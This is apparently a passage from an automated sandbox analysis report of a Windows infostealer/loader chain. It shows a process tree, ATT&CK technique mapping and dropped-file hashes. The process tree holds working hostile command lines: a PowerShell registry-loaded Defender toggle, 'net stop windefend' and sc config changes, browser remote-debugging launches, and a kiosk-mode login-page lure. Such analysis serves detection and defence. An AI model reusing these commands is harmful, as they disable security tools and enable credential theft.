              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4452
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\system32\sc.exe" qc windefend
                5⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3980
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:5188
              • C:\Windows\SysWOW64\whoami.exe
                "C:\Windows\system32\whoami.exe" /groups
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:5696
              • C:\Windows\SysWOW64\net1.exe
                "C:\Windows\system32\net1.exe" start TrustedInstaller
                5⤵
                • System Location Discovery: System Language Discovery
                PID:5472
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ClientAny.exe"' & exit
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4580
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ClientAny.exe"'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2088
                • C:\Users\Admin\AppData\Local\Temp\ClientAny.exe
                  "C:\Users\Admin\AppData\Local\Temp\ClientAny.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3076
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 2892
              4⤵
              • Program crash
              PID:5636
          • C:\Users\Admin\AppData\Local\Temp\1013676001\98e0a5987c.exe
            "C:\Users\Admin\AppData\Local\Temp\1013676001\98e0a5987c.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3568
          • C:\Users\Admin\AppData\Local\Temp\1013677001\93a028f451.exe
            "C:\Users\Admin\AppData\Local\Temp\1013677001\93a028f451.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:860
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
              4⤵
              • Uses browser remote debugging
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:4488
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffadd7cc40,0x7fffadd7cc4c,0x7fffadd7cc58
                5⤵
                  PID:1612
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1920 /prefetch:2
                  5⤵
                    PID:2664
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2044,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2480 /prefetch:3
                    5⤵
                      PID:3556
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2140,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2584 /prefetch:8
                      5⤵
                        PID:2272
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
                        5⤵
                        • Uses browser remote debugging
                        PID:916
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3112,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3320 /prefetch:1
                        5⤵
                        • Uses browser remote debugging
                        PID:4068
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4476,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4556 /prefetch:1
                        5⤵
                        • Uses browser remote debugging
                        PID:2672
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4468,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4280 /prefetch:8
                        5⤵
                          PID:5184
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2172,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3200 /prefetch:2
                          5⤵
                          • Drops file in Program Files directory
                          PID:5740
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2584,i,10083842925624834668,4017632177936154612,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2412 /prefetch:8
                          5⤵
                          • Drops file in Program Files directory
                          PID:5864
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
                        4⤵
                        • Uses browser remote debugging
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                        • Suspicious use of FindShellTrayWindow
                        PID:4260
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffb2ec46f8,0x7fffb2ec4708,0x7fffb2ec4718
                          5⤵
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5860
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
                          5⤵
                            PID:2788
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2804
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3060 /prefetch:1
                            5⤵
                            • Uses browser remote debugging
                            PID:3984
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3068 /prefetch:1
                            5⤵
                            • Uses browser remote debugging
                            PID:5292
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3088 /prefetch:8
                            5⤵
                              PID:5144
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4480 /prefetch:1
                              5⤵
                              • Uses browser remote debugging
                              PID:7004
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1904,15904917213243217497,15204998780547799434,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4520 /prefetch:1
                              5⤵
                              • Uses browser remote debugging
                              PID:7100
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\Documents\CBGCGDBKEG.exe"
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:4780
                            • C:\Users\Admin\Documents\CBGCGDBKEG.exe
                              "C:\Users\Admin\Documents\CBGCGDBKEG.exe"
                              5⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              PID:6016
                        • C:\Users\Admin\AppData\Local\Temp\1013678001\0e59b2ca27.exe
                          "C:\Users\Admin\AppData\Local\Temp\1013678001\0e59b2ca27.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:2400
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /F /IM firefox.exe /T
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1748
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /F /IM chrome.exe /T
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3308
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /F /IM msedge.exe /T
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:6024
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /F /IM opera.exe /T
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:6128
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /F /IM brave.exe /T
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5608
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                            4⤵
                              PID:5988
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                5⤵
                                • Checks processor information in registry
                                • Modifies registry class
                                • Suspicious use of SendNotifyMessage
                                • Suspicious use of SetWindowsHookEx
                                PID:4964
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1976 -parentBuildID 20240401114208 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a87389d-2663-40d1-9e5b-c205e53b0ec6} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" gpu
                                  6⤵
                                    PID:3724
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2416 -parentBuildID 20240401114208 -prefsHandle 2408 -prefMapHandle 2404 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {44269552-824c-48e0-a9c8-44b1c9ec2eb0} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" socket
                                    6⤵
                                      PID:5220
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3092 -childID 1 -isForBrowser -prefsHandle 3084 -prefMapHandle 3080 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {981aa242-b507-446e-b89b-6e92205501d8} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" tab
                                      6⤵
                                        PID:4936
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4032 -childID 2 -isForBrowser -prefsHandle 4024 -prefMapHandle 4016 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa32ffbc-cbdd-44d6-b15d-3e2db2b3b346} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" tab
                                        6⤵
                                          PID:2240
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4672 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4636 -prefMapHandle 4680 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b170133-5668-466d-bc2d-268658ca0c4d} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" utility
                                          6⤵
                                          • Checks processor information in registry
                                          PID:6260
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5048 -childID 3 -isForBrowser -prefsHandle 4632 -prefMapHandle 4636 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f31ff18-e6a9-4fde-bf5b-f695ae4c4c6a} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" tab
                                          6⤵
                                            PID:6680
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5292 -childID 4 -isForBrowser -prefsHandle 5284 -prefMapHandle 5280 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2b11752-4480-47e4-879b-60374ddf4acb} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" tab
                                            6⤵
                                              PID:6700
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5536 -childID 5 -isForBrowser -prefsHandle 5456 -prefMapHandle 5464 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6356671d-01e2-4106-abae-fc6816b379ce} 4964 "\\.\pipe\gecko-crash-server-pipe.4964" tab
                                              6⤵
                                                PID:6712
                                        • C:\Users\Admin\AppData\Local\Temp\1013679001\e98645d950.exe
                                          "C:\Users\Admin\AppData\Local\Temp\1013679001\e98645d950.exe"
                                          3⤵
                                          • Modifies Windows Defender Real-time Protection settings
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Executes dropped EXE
                                          • Identifies Wine through registry keys
                                          • Windows security modification
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4836
                                        • C:\Users\Admin\AppData\Local\Temp\1013680001\0653dc8188.exe
                                          "C:\Users\Admin\AppData\Local\Temp\1013680001\0653dc8188.exe"
                                          3⤵
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Executes dropped EXE
                                          • Identifies Wine through registry keys
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3156
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 1156
                                            4⤵
                                            • Program crash
                                            PID:4572
                                    • C:\Windows\servicing\TrustedInstaller.exe
                                      C:\Windows\servicing\TrustedInstaller.exe
                                      1⤵
                                        PID:1960
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                          2⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          • Modifies data under HKEY_USERS
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4988
                                          • C:\Windows\SysWOW64\sc.exe
                                            "C:\Windows\system32\sc.exe" qc windefend
                                            3⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:4608
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:6412
                                          • C:\Windows\SysWOW64\whoami.exe
                                            "C:\Windows\system32\whoami.exe" /groups
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5356
                                          • C:\Windows\SysWOW64\net1.exe
                                            "C:\Windows\system32\net1.exe" stop windefend
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:6552
                                          • C:\Windows\SysWOW64\sc.exe
                                            "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                            3⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:6600
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                          2⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          • Modifies data under HKEY_USERS
                                          PID:5436
                                          • C:\Windows\SysWOW64\sc.exe
                                            "C:\Windows\system32\sc.exe" qc windefend
                                            3⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:6976
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:7032
                                          • C:\Windows\SysWOW64\whoami.exe
                                            "C:\Windows\system32\whoami.exe" /groups
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:6876
                                          • C:\Windows\SysWOW64\net1.exe
                                            "C:\Windows\system32\net1.exe" stop windefend
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:7024
                                          • C:\Windows\SysWOW64\sc.exe
                                            "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                            3⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:7068
                                      • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                        "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                        1⤵
                                          PID:3724
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1508 -ip 1508
                                          1⤵
                                            PID:4524
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 228 -ip 228
                                            1⤵
                                              PID:5536
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2200 -ip 2200
                                              1⤵
                                                PID:6256
                                              • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                1⤵
                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                • Checks BIOS information in registry
                                                • Executes dropped EXE
                                                • Identifies Wine through registry keys
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:5704
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3156 -ip 3156
                                                1⤵
                                                  PID:5204
                                                • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  PID:6320

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Command and Scripting Interpreter

                                                1
                                                T1059

                                                PowerShell

                                                1
                                                T1059.001

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Windows Service

                                                1
                                                T1543.003

                                                Modify Authentication Process

                                                1
                                                T1556

                                                Privilege Escalation

                                                Abuse Elevation Control Mechanism

                                                1
                                                T1548

                                                Bypass User Account Control

                                                1
                                                T1548.002

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Windows Service

                                                1
                                                T1543.003

                                                Defense Evasion

                                                Abuse Elevation Control Mechanism

                                                1
                                                T1548

                                                Bypass User Account Control

                                                1
                                                T1548.002

                                                Impair Defenses

                                                3
                                                T1562

                                                Disable or Modify Tools

                                                3
                                                T1562.001

                                                Modify Authentication Process

                                                1
                                                T1556

                                                Modify Registry

                                                5
                                                T1112

                                                Virtualization/Sandbox Evasion

                                                2
                                                T1497

                                                Credential Access

                                                Credentials from Password Stores

                                                1
                                                T1555

                                                Credentials from Web Browsers

                                                1
                                                T1555.003

                                                Modify Authentication Process

                                                1
                                                T1556

                                                Steal Web Session Cookie

                                                1
                                                T1539

                                                Unsecured Credentials

                                                4
                                                T1552

                                                Credentials In Files

                                                4
                                                T1552.001

                                                Discovery

                                                Browser Information Discovery

                                                1
                                                T1217

                                                Query Registry

                                                8
                                                T1012

                                                System Information Discovery

                                                6
                                                T1082

                                                System Location Discovery

                                                1
                                                T1614

                                                System Language Discovery

                                                1
                                                T1614.001

                                                Virtualization/Sandbox Evasion

                                                2
                                                T1497

                                                Lateral Movement

                                                Collection

                                                Data from Local System

                                                3
                                                T1005

                                                Command and Control

                                                Exfiltration

                                                Impact

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\ProgramData\CAEHJEBKFCAKKFIEHDBFIEHDHI
                                                  Filesize

                                                  5.0MB

                                                  MD5

                                                  11d01d575a7349f8a0466c86c7c27dd6

                                                  SHA1

                                                  cd87f6c2cf2aa1242d43ecf76971318e7537368c

                                                  SHA256

                                                  4999996678b47de7b828649d1de1f267f0d9e38420253e0b089bc112fc3450f4

                                                  SHA512

                                                  7bf9832bb323f307b38fffea3ff2378bf772b9074819693babd3d7dc7026b18f794cb2fed0091b42f5f0c57a444f2d16cd5731a24a37cfe28166ac59dce6a383

                                                  Download Submit

                                                • C:\ProgramData\JJKJDAEB
                                                  Filesize

                                                  116KB

